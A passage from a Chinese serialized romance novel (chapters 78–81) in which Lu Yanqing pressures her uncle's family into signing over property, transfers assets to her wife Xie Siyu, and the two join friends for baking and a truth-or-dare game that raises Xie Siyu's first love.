由陆弘毅推着进来,陈雅也跟在后面,两只手都拎着购物袋,看上面的logo皆是国际大牌。 一家人,整整齐齐。 “言卿啊,今天思虞没有在集团吗?” 陈雅把购物袋放在办公桌上,本想去隔壁找谢思虞, 却被助理刘瑶告知她人不在。 难不成是故意躲着他们? 陆言卿莞尔一笑:“真不巧,阿虞的两位朋友远道而来, 她去尽地主之谊了。” “呵——” 轮椅上坐着的陆言昭满脸不屑, 显然不相信陆言卿的说辞, 肩膀被身后的父亲用力一掐,疼的他瞬间蹙起眉头。 想到车里烫手的法院传票, 他只能暗自咬牙,在陆言卿看过来的时候,整理好面部表情。 陆弘毅假装替儿子抚平肩膀处衬衫的褶皱,眯起眼睛笑:“那还真是不巧。”? “思虞不在,我们跟侄女你说也是一样的。” 陈雅连忙附和:“是是是,言卿啊,那天在医院是你二叔和堂哥不对,我已经严厉批评过了,今天他们过来就是跟思虞道歉的。”? 一边说着,一边把四五个购物袋往陆言卿那边推,“这些礼物都是给思虞的赔礼。” 陆言卿眼观鼻鼻观心,端起办公桌上的茶杯,浅浅抿了口里面的茉莉花茶。 深邃清冷的目光在陆言昭和二叔身上流转两圈,似笑非笑:“二婶怕不是开玩笑。” “堂哥进入我这办公室就板着脸,一副高高在上的模样,我还以为是找我算账的呢?” 啪! 陈雅一巴掌拍在儿子胳膊上,他当即黑了脸,最后不情不愿开口:“对不起,那天是我鬼迷心窍,刚被人打断腿心情不好,不该那样说谢思虞。” “她既然已经嫁给你,就是陆家的一份子,往后我会尊重她。” 话嘛,自然是口不对心。 也是在电梯里母亲千叮咛万嘱咐交代的。 陆言昭放在膝盖上的手攥紧了西装裤,他说完就低下头,表现出一副弱小无辜者的模样。 陆弘毅也适时道歉:“二叔身为你们的长辈,更不应该在背地里乱嚼舌根,言卿你大人有大量,就原谅我们这次。” “咱们陆家一荣俱荣,一损俱损,你祖父祖母年事已高,你堂哥真要进了局子,他们哪里禁得住那般刺激?” 陆言卿余光扫过一旁反扣的手机,食指指尖有一下没一下敲击着茶杯杯壁,目光落在陆弘毅身上:“二叔你是聪明人,侄女也不跟你打哑迷,你们说的这些话我一个字都不信。” 陆言昭:“陆言卿你——” 陆弘毅双手摁住儿子的肩膀,脸上再次牵出和蔼的笑:“只要侄女你们愿意帮言昭度过这次难关,条件你提。” 他就知道。 让陆言卿答应帮他们,肯定不是送几套珠宝首饰就能解决的。 “好啊,我就欣赏二叔这爽快利落的性子。” 陆言卿邀请陆弘毅在办公椅上落座,让二婶推着陆言昭离开办公室,随即从抽屉里拿出两份合同。 一份是股份转让协议。 一份是商铺及别墅赠予合同。 “我给二叔选择的权利,阿虞总不能白帮你们的忙,您说是吧。” 陆弘毅看到文件上的字,顿时脸色变得铁青,这是给他选择? 压根儿就没给他留退路! 集团股份不可能转让给谢思虞,哪怕仅有2%。 合同上的三家商铺,包括清水湾的一栋别墅在内,总市值超过四千万! 她陆言卿还真是敢狮子大开口,可如今箭在弦上,他还能不签? 后槽牙都要咬碎了。 十分钟后。 陆弘毅带着妻子和儿子下楼,电梯抵达16层市场部停了下来,总监陈丛生就站在外面,看到里面的三人,眼底露出讨好的笑来。 “陆董,我这正打算给你们打电话,【桦悦】姜总刚跟陆氏签订了两年的合作,你们不用担心言昭会坐牢了。” 陆弘毅脑袋嗡嗡的响:“你说什么!” 陆言昭脸都绿了,迫不及待反问陈丛生:“签合同是什么时候的事情?” 陈丛生也是刚从助理口中得知,一脸茫然回:“就是今天上午啊,姜总大概是一个小时前离开?” 陈雅观察丈夫脸色,着实说不上好,生怕他一口气没上来气晕过去:“你答应言卿什么条件了?” 陆弘毅歇斯底里低吼了句:“陆言卿她胆敢算计我!” 另一边,榕城西山公园。 这里属于4A级旅游景点,6月中旬还未迎来旅游旺季,前来游玩的人并不多。 临近中午。 钟晚意带着几人到山脚下一家特色餐馆用饭,环境称不上顶好,但胜在菜品味道好。 “那你们先坐着,我去趟洗手间。” 钟晚意离开,温月怡弯腰揉了揉小腿肚,出来玩她穿着平底鞋,但步行时间长,小腿肚涨涨的,难受。 “小鱼你看什么?” 温月怡再次抬头,就见旁边谢思虞低头看手机,也不知道看到什么,嘴角勾起明媚温柔的笑。 谢思虞温温柔柔弯了眉眼,挪动手机,好让温月怡看清楚屏幕上方的内容,眼眸潋滟又盛满了柔情:“卿卿刚为我出气呢~” 温月怡好奇把脑袋凑过去,脸上仍带着疑惑:“这不就是一份商铺赠予合同?” “是赠予合同。” 谢思虞摁灭手机屏幕,柔声解释,“这件事跟陆言昭有关……” 她长话短说,三言两语解释清楚事情的来龙去脉。 温月怡抬起水汪汪的眸子和对面堂姐对视一眼,慢慢悠悠开口:“你是她的妻子,在家人面前维护你,本就是陆言卿应该做的。” 「如果思虞幸福,那我们真诚的祝福她。」 「但如果她在这段婚姻中过得很不开心,陆言卿要跟她离婚,那我就去榕城把她接过来。」 温月怡眨巴眨巴眼睛,之前听堂姐说这样的话,她还以为她喜欢小鱼。 昨晚聚餐结束,她们去到酒店总统套房。 单独面对堂姐,她莫名心虚。 因为她不能帮她追小鱼了。 不管她如何“伪装”,还是被堂姐看穿小心思,最后无奈解释:「月怡,我对思虞并非情侣之间那种喜欢。」 「三年前我听信你的“凄美爱情故事”,帮着你出谋划策,险些害苦了思虞。」 「我只希望她能好好的,你明白吗?」 堂姐这般说,她哪里还能不明白? 温月怡深呼吸一口气,单手托腮看着如今温柔明媚的谢思虞,那双眼眸里蕴藏着太多情绪。 温家是有权有势,可她脑子笨,当年只能请堂姐帮小鱼。 这些年小鱼过的不好,堂姐嘴上不说,心里肯定充满了自责。 “雁表姐和陆总签了两年的合作,公司有其他要紧的事,已经在赶往机场的路上,13:25的航班回N市。” 温月晗好似没有听到妹妹和谢思虞的对话,沉默着一句话没说,倒是收到了姜雁要回N市的消息。 温月怡眼睛一亮:“那我们是不是可以在榕城多待几天?” 温月晗温柔点头:“要是不着急回去,三叔或许会让我们去参加秦氏秦夫人小孙女的周岁宴。” 经堂姐提醒,温月怡也想起来了:“那就参加完周岁宴再回去呗。” 说完抱着谢思虞的手臂,脑袋靠在她肩头,眉飞色舞,“难得跟小鱼见面,这次可以好好玩了。” “那月怡想继续住酒店,还是……” 谢思虞话还没有说完,就被温月怡接过去,“我们可以和小鱼一起住吗?” “也不是……不行?” 谢思虞其实想说让温月怡和温月晗去滨海别墅区住,酒店设施再齐全,服务再贴心,终究没有住在家里自在舒服。 温月晗不想让谢思虞为难,她愿意,不代表陆言卿也愿意。 人家妻妻住在一个屋檐下,她们两姐妹住过去算什么? “月怡,不要耍小孩子脾气,我们和思虞她们住不方便。” 温月怡耷拉着脸,嘟嚷:“陆言卿有一辈子的时间和小鱼在一起,我霸占小鱼几天怎么了?” 谢思虞想说可以,陆言卿不是不讲道理的人。 钟晚意正好从洗手间回来,听到温月怡委屈巴巴的话,问清楚事情缘由,特别大方的说:“害,这都是小事,月怡和月晗姐可以去我别墅住,我和卿卿在华晨里都有房子。” 温月怡:“那两栋别墅挨着吗?” 钟晚意:“对啊。” 谢思虞有点茫然,陆言卿在华晨里的房子不是公寓? 很快她从妻子口中得知“真相”。 「阿虞你真行。」 「华晨里的别墅不是在你名下吗?别告诉我这三年你一次都没去过。」 第79章 “陆总把你嘴巴亲肿了?” 傍晚时分, 橘黄色的夕阳宛若薄纱笼罩着整座城市。 华晨里09栋别墅。 院东角的杜鹃花丛枝繁叶茂,如今正是杜鹃花绽放的季节,枝头粉白花瓣叠着绛红, 好似打翻的胭脂盒。 谢思虞望着那些娇艳的花愣神,她记得陆家老宅院子里就种植着大片杜鹃花,陆奶奶说过, 那是陆言卿最喜欢的花。 没想到这里也有。 「华晨里的别墅不是在你名下吗?别告诉我这三年你一次都没去过。」 澄净的眼眸中浮现出复杂的神色,谢思虞下意识看向别墅二楼, 握紧了腋下包的链条,这确确实实是她三年来第一次踏足。 中午被陆言卿提醒,她才恍然想起, 当初她们签订的协议上有“补偿”内容。 这栋别墅就是其中之一。 只是当时她从未想过要什么“补偿”, 能够跟她结婚她就很开心了,所以签完字就把补偿内容抛之脑后。 至于那辆宾利车, 是她们领证当天,她记得那天下暴雨,从民政局出来,陆言卿就把车钥匙塞到她手里,话里话外透着不容置疑:「这辆车以后就你开,做戏要做全套。」 “夫人,大小姐在二楼书房等您, 上楼右转第一间就是书房。” 玄关,周婶从鞋柜里取出全新的拖鞋放在谢思虞脚边。 很快, 谢思虞换好舒适柔软的拖鞋来到二楼书房。 她推开虚掩着的门。 这栋别墅是现代风格设计, 书房装潢也格外简单明了, 靠墙一侧是定制书柜,中间是一张办公桌。 桌上摆放着台式电脑。 而陆言卿就坐在电脑后面, 注意到谢思虞进来,她脸上露出温柔的笑意,食指轻点鼠标,随后起身来到书架前。 “阿虞,过来。” 她冲谢思虞伸出手,同一时间打印机发出嗡鸣声,随即响起窸窣的声响。 “卿卿有事找我?” 走到陆言卿面前,谢思虞自然而然握住她的手,额头亲昵抵在她肩头。 书房的窗户正对楼下院子,夜风裹着淡淡的杜鹃花扑进来,混着陆言卿身上熟悉的山茶花香,谢思虞低垂的睫羽微颤,心绪说不出的复杂。 “又开始胡思乱想了?” 协议一式两份,打印机还在工作,陆言卿轻轻“嗯”了声算是回答谢思虞,两人在一起久了,她轻而易举就能察觉出妻子的不对劲。 “没有。” “撒谎。” “……” 谢思虞抬起头撞进陆言卿揶揄的眸子里,指尖她在掌心里轻挠,却被她反手握住。 陆言卿温润的嗓音在耳畔响起:“不管是三年前我们在咖啡馆签的协议,还是‘回国’后为了稳住祖父而补签的协议,统统都不作数。” 突然穿越时空醒来,她和谢思虞三年协议婚约只剩两个月零5天。 避免年迈体弱的祖父受刺激,那天在医院停车场的车里,她把这段婚约又延长了两年。 “那卿卿这是做什么?” 谢思虞不傻,当即明白陆言卿的意思,她们如今相爱,婚姻不再需要协议来维持。 撕毁协议是再简单不过的事情。 “这份协议阿虞敢签吗?” 牵着谢思虞来到办公桌前,陆言卿把打印好的两份协议放在桌上,用回形针固定好。 然后拉着某人手腕,让她坐在自己腿上。 “只要卿卿想,那我就签。” 扫了眼桌面,谢思虞从笔筒里拿出一支黑色签字笔,没有翻看协议内容,而是直接翻到最后一页,左手按着资料页面,右手握着签字笔就要签字。 陆言卿眼神复杂,重重地吐出一口气,从谢思虞手中抽走签字笔,没忍住捏了捏她的脸颊,没好气道:“看都不看就签字,真不怕我把你给卖了?” “卿卿会吗?” 谢思虞莞尔一笑,故意往后靠,后脑勺抵着陆言卿的肩膀。 这个角度能看见书柜第四层的相框,是陆言卿和父母妹妹的合照,算是全家福? 应该是负责照看别墅的周婶放置的。 至少在华晨里的公寓,她从未看到过陆言卿放置全家福照片,书房仅有两张,一张是她和父亲,一张是她和妹妹。 陆言卿翻开协议第一页,轻轻拍了拍谢思虞的肩膀,示意她看上面的内容:“双栖云境西郊店一楼的黄金铺面两间,华晨里的别墅,还包括两辆车,这些原本就属于阿虞。” “另外还有陆氏集团5%的股份,这件事我请示过祖父,他没有意见。” 陆言卿说着从办公桌抽屉拿出一张黑卡,要不是今天谢思虞问,她压根儿不知道她根本不想要“补偿”。 这两年西郊店商铺的租金,她让财务全部打到了银行卡里。 “卿卿……这是什么意思?” 谢思虞捏着银行卡,心一沉再沉,心烦意乱间想要从陆言卿腿上起来,可那揽住她腰肢的手臂也在隐隐用力。 她不许她起身。 陆言卿拥紧怀里的人,下巴搁在她肩头,另一只手握住谢思虞的手,轻声叹息:“我还记得和阿虞第一次见面,那天下着淅淅沥沥的小雨,在一家名为‘云栖’的咖啡馆。” “我说我喜欢把事情落实到白纸黑字。” 后背紧贴着陆言卿的心跳,谢思虞当然不会忘记她们‘第一次’见面,摸到对方无名指上的婚戒,声音有点哑:“怎么突然……让我签这些?” “不是突然。” 陆言卿歪头亲了亲谢思虞的唇角,早在她从祖父哪里得知这三年谢思虞不过是在跟她“打工”后,她心里就有了决定。 “阿虞,我只怕给的太少。” 她承认,穿越时空回来,得知陆氏集团更加强大,她很感激谢思虞。 后又得知她这些年披荆斩棘,全然不顾惜自己的身体,她是又生气,又疼惜。 也许喜欢一个人,最初便是心疼。 “卿卿才是笨蛋。” 谢思虞转身跨坐在陆言卿腿上,突然触及她微红的眼眶,心里软的一塌糊涂。 双手轻捧着她的脸,唇覆了上去,一个接一个的吻,好似羽毛落在水面那般轻柔。 “这些我都不在意,再说卿卿不是从陆董那里帮我要了不少好处吗?” 陆言卿扣住谢思虞的后颈,加深了这个吻,温柔又克制汲取她口中的蜜汁。 不知道亲吻了多久,直到怀里的人脸颊泛起潮红,眼尾浸染水光,靡丽又风情,她才恋恋不舍松开她。 最后的最后。 陆言卿握住谢思虞的手,带着她在协议上签字。 “哪里能这样?卿卿分明就是耍赖。” 谢思虞看着页面上‘谢思虞’三个字哭笑不得,根本找不出她的笔锋。 不得已她在协议最后一行补充:如果谢思虞和陆言卿离婚,此协议作废。 刚写完,身后陆言卿温热的呼吸扫过她的耳垂,紧接着耳垂被人咬住,细密的疼传来:“卿卿疼——” “阿虞活该。” 陆言卿哪怕已经控制了力道,可耳垂那样柔软无骨的地方,被咬肯定疼的。 她自然也感受到怀中谢思虞轻颤的身体,一时间心疼不已。 但还是很生气。 谁让她想着要跟她离婚了! “这条我不同意,阿虞单方面手写的内容不会被认可。” 谢思虞无奈抿唇,捂着耳朵回头看陆言卿,见她真的生气了。 只能妥协:“好,全都听卿卿的。” 说着把刚手写的内容全部划掉。 签字笔放进笔筒。 谢思虞依偎在陆言卿怀里,双手环住她的腰,柔声解释:“我没想过要跟卿卿离婚,只是协议上有陆氏集团的股份转让,我……” 陆言卿低头含住谢思虞娇嫩樱粉的唇瓣,轻咬她的下唇,趁着她张嘴的间隙,湿漉灵活的舌尖探入其中。 勾缠共舞,动作熟稔。 很快怀里的人就化成一汪春水,哪儿哪儿都软。 时不时嘴里哼出的娇媚声,当真是要了陆言卿的命。 就在陆言卿的手探进谢思虞连衣裙下摆时,放在办公桌上的手机响了起来。 锁屏上跳动着熟悉的名字。 “唔……” 谢思虞卷翘的长睫上还挂着细碎的水珠,满脸酡红,呼吸微喘,胸口上下起伏的厉害,娇嗔,“晚意她们还在隔壁别墅等,都怪卿卿。” 谢思虞唇上的口红被她尽数吃进嘴里,此时唇瓣红的滴血,那双潋滟的眼眸更是透着妩媚的风情。 陆言卿双瞳剪水的眸子含着柔情:“是我的错,阿虞要不要去旁边卧室补妆?” “还不是要怪卿卿。” 亲的那么用力。 谢思虞指尖抚摸上唇瓣,不至于疼,但想到稍后要见好朋友,一抹怪异感涌上心头。 就在钟晚意第三个电话轰炸时,陆言卿在别墅楼下等到谢思虞,只见她将长发盘起,脸上……嗯脸上戴着口罩? “阿虞确定要戴口罩?” “不行吗?” “行。但这不是此地无银三百两吗?我们是妻妻,接吻而已,她们会理解的。” 华晨里别墅装修好之后她来过一次,后来把这里送给谢思虞,她便没有再来。 好在别墅一直有周婶照看,至于楼上卧室的换洗衣服,还有梳妆台上的化妆品,都是她让人临时送过来的。 两人来到E10栋别墅。 进屋就闻到空气中弥漫着蛋糕的奶香味。 而温月怡见到谢思虞第一句话便是:“小鱼是在掩耳盗铃?” “陆总把你嘴巴亲肿了?” 第80章 请问思虞姐的初恋是谁呀? 华晨里E10栋别墅。 五年前钟晚意和陆言卿一起买下这里的别墅, 装修好后她就从家里搬了过来。 半开式厨房里。 钟晚意喜欢做甜品,家里烹饪工具相当齐全。 她们一行人从旅游景点回来,在外面餐厅吃过饭, 想着晚上要一起玩,就打算烤点小饼干。 倒是没想到温月晗要做蔓越莓蛋糕。 随着烤箱“叮”的一声脆响。 曲奇饼烤制时间结束。 钟晚意戴着卡通猫爪手套取出烤盘,黄油混着巧克力的香气瞬间盈满整个厨房。 而站在中岛台另一边的温月晗已经将蔓越莓蛋糕胚脱模, 正在往小蛋糕上方挤淡粉色的奶油。 她的动作十分熟稔,很快一朵朵精致漂亮的玫瑰花出现, 裱花在灯光下泛着细腻的光泽。 “好漂亮啊!月晗姐你真厉害!” 郑雪作为钟晚意的死党,早就尝过她做的曲奇饼干,眼下被温月晗做的蔓越莓蛋糕吸引。 她弯腰低头凑近嗅了嗅, “我可以先尝一口吗?” 温月晗笑着点点头:“当然可以。” 郑雪指尖沾了点奶油放进嘴里, “甜度刚刚好。”说着又咬了口蛋糕,“蔓越莓的酸味都被奶油中和了!” 温月晗抿唇浅笑, 她也许久未做蛋糕,今晚不过是一时兴起,将第二个挤好奶油的蛋糕递给右侧的钟晚意,并附带着小银叉:“晚意也尝尝?我在面糊里加了橙皮屑。” 钟晚意瞥了眼一旁狗腿的闺蜜,尴尬地冲温月晗笑了笑。 她接过蛋糕:“谢谢月晗姐。” 温月晗低头继续往其他蛋糕上挤奶油,长发从耳后滑落,露出颈间细细的银链。 另一边。 客厅茶几上铺满零食袋, 谢思虞正把冰镇杨梅汁分倒在玻璃杯里。 温月怡瘫在懒人沙发啃薯片,一瞬不瞬盯着不远处的电视, 是一部刚上映的仙侠剧。 因为是很喜欢的作者写的, 她才第一时间追剧, 结果4集看下来,只能说一言难尽。 影视剧魔改原著, 已经有不少原著党到作者大大微博下吐槽,怒骂导演随意修改原著人设。 “月怡要不要喝杨梅汁?” 谢思虞分装完杨梅汁,玻璃瓶内还剩小半杯,于是看向一旁追剧的人。 温月怡被点名,身体一僵,把嘴巴里薯片咽下去,乖乖放下腿坐直,去接谢思虞递过来的杯子,眨眨眼道:“小鱼你别这样,我刚真不是嘲笑你。” 是的。 因为温月怡那句调侃,谢思虞“不得不”摘下脸上的口罩,其实她的唇瓣也没有红肿,再加上涂抹了唇釉,不仔细看也瞧不出来。 “只是看你吃了大半包薯片,怕你口渴。” 谢思虞扶额,她被看穿的第一时间,确实很窘迫,就差没上前捂住温月怡的嘴,不许她再语出惊人。 小心翼翼抿了口玻璃杯里的杨梅汁,温月怡跪坐到谢思虞右侧的软垫上,碰了碰对方的胳膊,弯了弯眉眼道:“其实看到你和陆言卿私下感情也好,我很高兴的。” 就是有时候嘴欠。 谢思虞笑而不语,就是因为她知道温月怡是关心她,才没有生气。 把瓶子里最后的杨梅汁倒入温月怡杯子中:“还是少吃些薯片,容易长痘。” 温月怡捧着玻璃杯傻笑:“好,我听小鱼的。” 陆言卿接完电话从外面进来,就看见温月怡冲妻子笑,刚要上前,手里就被塞了个……奶油蛋糕? 钟晚意极力推荐:“超级好吃,你快尝尝。” 陆言卿愣了片刻,要知道钟晚意本人也喜欢做甜品,热衷那几年特意跟国内外顶尖甜品大师学过。 平时她也极少在外面吃甜品,要吃也是回家自己做,只因她嫌弃外面的难吃。 所以能得到钟晚意认可的甜品,味道自然不差。 陆言卿用银叉挖了一小块蛋糕,奶油甜而不腻,蛋糕胚软糯香甜,还隐约带着淡淡的橙子味。 “阿虞应该……喜欢。” 最后两个字消失在嘴边,陆言卿视线流转,在厨房中岛台找到谢思虞的身影。 此时她也在品尝小蛋糕。 从她弯弯的眉眼,便可瞧出她很喜欢。 要知道谢思虞不喜欢甜食的,今晚却…… 陆言卿若无其事收回视线,银叉插入蛋糕中,朝着客厅走去,蛋糕被她随手放在茶几上,直到她离开别墅,都没有再动过。 晚上9:25分。 对于喜欢熬夜的钟晚意和温月怡几人而言,夜生活才刚刚开始。 真心话大冒险是个很俗气的游戏,却也能让大家快速融合在一起。 “那我先来转?” 钟晚意从冰箱里翻找出一瓶水蜜桃口味的汽水,将里面的汽水倒在饮水杯内,开始在茶几中央旋转。 瓶子旋转无数次,速度渐渐慢下来,第一次瓶口就指向温月怡。 钟晚意舔掉指尖的曲奇碎渣,笑眯眯的问:“月怡选什么?” 没错过钟晚意眼中的跃跃欲试,经过一天的相处,她大概了解到钟晚意的为人。 性格爽朗热情,重点很会玩,估计没少出入清吧之类的场所,怕她整蛊,于是选了真心话。 “那请回答,怎么跟我们思虞姐成为闺蜜的?” 钟晚意说完往陆言卿那边看了眼,好似在说:姐妹够意思吧? “这个嘛……” 温月怡盘腿坐在软垫上,漫不经心用银叉戳着蛋糕上的奶油玫瑰。 堂姐今晚‘心血来潮’做蔓越莓蛋糕,还往里面加入了橙皮屑,无非是因为小鱼喜欢。 “我和小鱼大学不是同一个系,更不是同一届,原本不会有交集,直到——我误会她跟我女朋友聊-骚。” 她们相识很狗血,因为室友错误的消息,那天在第二食堂她冲到谢思虞跟前,当着不少同学的面,将一整杯咖啡泼到她身上。 想到往事,温月怡单手托腮,偏头看向右斜方的三人沙发,谢思虞被陆言卿半搂半抱在怀里,她眯着眼睛笑:“我泼了小鱼一身咖啡,她竟没有生气,而是很平静询问我原因。” 当时她就觉得这姑娘好温柔,也好没脾气。 遇到这种事居然这般平静淡然。 谢思虞轻笑,往后靠在陆言卿怀里:“事后月怡知道误会了我,脸上的表情也很精彩,乖乖赔礼道歉,并且还赔了我一套全新的连衣裙。” 温月怡眨眨眼,不可否认。 在学校,哪怕是整个N市,认识她温月怡的人,哪个不怕她? 更别提是被她当众泼咖啡。 “再后来我遇到绑-架,小鱼不计前嫌救我,还受了很重的伤,我便发誓今后要好好护她。” 就像童话一样不真实,但又真的发生在她们身上。 或许这就是缘分。 陆言卿听到这里,下意识拥紧了怀里的人。 感受到她的紧张,谢思虞反手握住她的手,转过头凑到她耳边,压低声音:“别怕,已经过去了。” 所以她和温月怡真的有着“过命”的交情。 钟晚意也没想到她们之间还发生过这样的事情,笑着打哈哈:“都是缘分,都是缘分。” 第二轮是温月怡转瓶子,瓶口转向了钟晚意,她吓得手一抖,杨梅汁险些泼在桌布上,求饶:“月怡可要手下留情哦。” “有没有喜欢的人?” 温月怡没有为难人的癖好,问了个中规中矩的问题。 “暗恋算吗?” 钟晚意愣了下,低头抠着连衣裙裙摆上的花纹刺绣,“之前很委婉的表白过一次……被拒了。” 想到那晚在餐厅的事情,钟晚意低垂的眼眸中隐约带着自嘲,“她说现在要专注事业,而且公司不允许旗下艺人谈恋爱,可我明白——只是因为她不喜欢我。” 原本说出真心话就不用喝酒,但钟晚意还是端起面前的酒杯,将里面的酒水一饮而尽。 温月怡早知道会勾起钟晚意的伤心事就不问这个了,往她嘴里塞了块曲奇饼:“游戏可不是你这样玩的,等会儿陆总和小鱼她们不仅要回答问题,难不成还要喝酒?” 郑雪拍了拍钟晚意的肩膀,笑着去转茶几中间的瓶子,结果瓶口正中她自己。 运气也是差到极点了。 “我选大冒险。” 钟晚意看了郑雪一眼,起身往厨房走去,很快拿回一块加了芥末的曲奇饼:“阿雪今晚没吃我烤的饼干,应该是料不够?” 刻意咬重料字。 郑雪脸色大变:“钟晚意你忘恩负义!” 哪怕她喊的再大声,也没能逃脱被整蛊的命运,还是众目睽睽下咬了口满满是料的饼干。 最后狂饮两杯杨梅汁,才将嘴里芥末味压下去。 经过大家这么一闹,气氛再次变得轻松起来。 接下来陆言卿和温月晗也被瓶口指向,两人都选了大冒险。 前者选在场其中一人舌吻两分钟,是的,陆言卿和谢思虞当众舌吻,还被温月怡拍下视频。 后者要跟通讯录第三人说出“我爱你”,这个大冒险是郑雪提的,对温月晗没有任何挑选,因为她通讯录的前三人皆是家人。 “我不信!” 钟晚意一脸不信,起身来到温月晗身边,对方也不矫情,直接打开通讯录。 三人备注前都添加了大写字母A,可不就在最前面? 玻璃瓶第N次转动,谢思虞的手机在茶几上震动。 瓶口颤巍巍停在她面前,郑雪托腮凑近:“思虞姐选真心话还是大冒险?” 谢思虞被陆言卿压在沙发上舌吻,现在脸都还红着,目光在几人身上扫过,生怕她们又提出‘羞人’的提议,小声说:“真心话?” 郑雪嘿嘿一笑:“请问思虞姐的初恋是谁呀?” 80-90 第81章 耀眼到她只能看到她 游戏开始到现在, 郑雪已经喝了五杯酒,都是度数低的鸡尾酒,和以往在清吧相比就跟喝饮料一样, 脑子还很清醒。 可她问完在场所有人都不约而同看向她,尤其是陆言卿清冷的目光,看的她莫名恐慌, 下意识端起手中的玻璃杯,支支吾吾:“我, 我换个问题?” 原本轻松愉悦的氛围变得凝肃起来。 温月怡疑惑地眨眨眼,看了看身侧呆若木鸡的钟晚意:“你们不知道?” 又看向不远处面上还算波澜不惊的陆言卿,“你也不知道?” 一晚上话都较少的温月晗也微微蹙眉。 温月怡将几人的表情看在眼里, 慵懒地支着胳膊, 带笑的眸子看向谢思虞:“你没告诉她?” 咳咳—— 钟晚意没好气瞪了郑雪一眼,干嘛突然问这种问题! 她们都知道谢思虞有暗恋多年的女生, 陆言卿决定和她联姻时也知晓此事。 抬眸撞进陆言卿云淡风轻的眼眸里,她喉咙发紧,强装镇定打圆场:“这话说的,难不成月怡你知道。” 温月怡不假思索地点头:“我知道啊。” 谢思虞也没有想到郑雪会当众问她初恋对象,微微睁大眼睛,回头看向身后的陆言卿:“卿卿我……” 陆言卿左手从谢思虞腰间抽离,她坐直了身体, 在妻子开口的瞬间握住她的手,另一只手端起了茶几上的玻璃杯:“阿虞不用回答, 酒我替她喝。” 这句话也不知道是说给谢思虞听, 还是郑雪等人听。 “失陪。” 陆言卿眼神清明, 将内心深处的烦闷和失落掩饰的极好,牵着谢思虞站起身来, 也不确定是不是酒的缘故,再开口嗓音比之前低哑了两分,而那只握着妻子手腕的手也异常滚烫。 等两人的身影消失在玄关,温月怡坐到堂姐身边:“原来她还不知道,小鱼真逗,这有什么可瞒的。” 说完又想起来什么,“还是瞒着比较好,最好一辈子别让陆言卿知道,哈哈哈哈……” 要是让陆言卿知道小鱼初恋对象是她,不知要得意成什么样子。 温月晗轻轻拽了下妹妹的衣摆,温声打断:“好了月怡,别闹。” 虽然她也很意外,关于初恋对象这事谢思虞竟没有告诉陆言卿。 钟晚意和郑雪相互对视一眼,想问问温月怡,但彼此都默契没开口。 随着那两人的离开,游戏也不可能再继续,今天去西山公园游玩,想来温月怡她们也累了。 钟晚意拍了拍手上的饼干碎屑,撑着茶几桌面站起身:“那月晗姐,月怡你们上楼休息?” 温月怡还想看热闹,却被身后的堂姐握住手腕,温月晗温温柔柔点头:“好。” 另一边。 陆言卿牵着谢思虞离开好友的别墅,没有第一时间往E09栋别墅走,而是选了相反的方向。 今晚月明星稀。 华晨里环境清幽,别墅区更甚,道路每隔几米就有路灯柱,榕城即将迎来炎热的夏季,眼下倒也不算热,至少夜风吹在人脸上还是凉的。 钟晚意今晚准备的鸡尾酒是荔枝口味,陆言卿只喝了一杯,却感觉不似以往喝过那般清甜带着果香。 反而有种说不出的涩。 阿虞的初恋对象。 她为什么要介意? 更何况对方已经结婚了。 “阿虞别想太多,我不介意。” 陆言卿食指轻挠谢思虞的掌心,偏头冲她笑了笑。 谁都有过往,重要的是当下,是今后。 要是她抓着妻子初恋这件事不放,就是走进了死胡同。 也是对谢思虞的不信任。 “真的?” 谢思虞拉住陆言卿,侧过身面对着她,稍稍仰头看着她的眼睛,唇角噙着极浅的笑,“卿卿就不想知道那人是谁?” “不想。” “如果我非要告诉你呢?” “……” 谢思虞莹白的指尖捏了捏陆言卿的下巴,帮她把被风吹乱的发丝别到耳后,明澈的眼睛里盛满了柔情:“我给卿卿讲一个故事?” 陆言卿哭笑不得,她不想知道妻子和初恋的故事,可她又不能真的捂住她的嘴巴,只能宠溺的看着她:“阿虞,你放过我好不好?” “原来卿卿也有害怕的时候?” 谢思虞见某人跟小朋友似的,十分幼稚地捂住耳朵,大步流星往前走,给人即视感就是:我不听我不听。 没忍住轻笑出声,“卿卿你这样真可爱。” 一阵微凉的夜风吹来,裹着茉莉花的清香,沁人心脾。 谢思虞小跑追上前面的陆言卿,顺势握住她的手,和她十指紧扣。 “那年我上大二,时间也是6月中旬,养老院的院长给我打电话说外婆病重。那时谢明远不允许我回榕城,可外婆是我在世上唯一的亲人,所以我偷偷回来了。” 原来外婆一直报喜不报忧。 如果不是院长那通电话,那年夏天她就永远失去了爱她的外婆。 六月中旬,高考刚结束。 她在人民医院附近一家养生粥铺买粥,意外看见陆言卿,亲眼见到她好好的,悬在心头的大石头总算落地。 粥铺有很多人,她等着拿餐,时不时看向陆言卿所在的餐桌,挣扎许久,始终没有勇气上前。 就在她拿到海鲜粥要离开粥铺时,看见陆言卿对面坐了一位雍容华贵的妇女。 母女两人因为高考填报的事情有争执,距离太远听不清她们的谈话内容,只知道她们二人不欢而散。 陆言卿心烦意乱站起身往外走,过道里一名女店员端着新鲜出炉的粥迎面而来,为了躲开顾客洒了粥。 陆言卿回过神来第一时间道歉,询问女生有没有受伤,还跟老板解释是她的责任。 她目睹了全过程。 原本这只是一个小插曲,没想到在同一天的下午,她们在市图书馆再次“不期而遇”。 这次撞见的竟是表白现场。 她站在书架后听到女生对陆言卿诉说心底小心翼翼的喜欢,两人应该是同校同学。 「是因为我家世背景配不上你吗?」 传到她耳朵里陆言卿的声音很温柔,也带着谦逊:「谢谢你喜欢我,拒绝你不是因为你说的原因,家世背景,外貌学识都只是加分项。」 「如果将来我喜欢谁,肯定也只是因为那个人而已。」 女生还想说什么,她抱着文献资料转身离开,无意间撞见也就罢了,继续站在那里偷听就是有失教养。 离开图书馆路过陆言卿身边时,她刻意放慢了脚步。 仅仅只是一眼,就让她记住了她的微博名字。 回到医院她搜索相关信息,发现是陆言卿的微博小号,粉丝十几人,关注为零,点赞和评论也屈指可数。 三年时间里陆言卿发了26条微博,全然把这个小号当成情绪垃圾桶。 她仔细认真将每一条微博看完,并没有回复任何文字。 唯一一次留言,是因为陆言卿生日。 她在她微博下评论:生日快乐。 当然,陆言卿并未因此注意到她,也没有经常发微博,有时是一个月两条,有时是三个月一条。 不知不觉时间来到三年后。 她大四,陆言卿念大三,那年的跨年夜。 当晚8点榕城市中心的海洋公园有跨年活动,更有盛大的烟火表演。 那晚的烟火表演。 她在场。 她也在场。 陆言卿和朋友在一起,在人群里格外耀眼。 耀眼到她只能看到她。 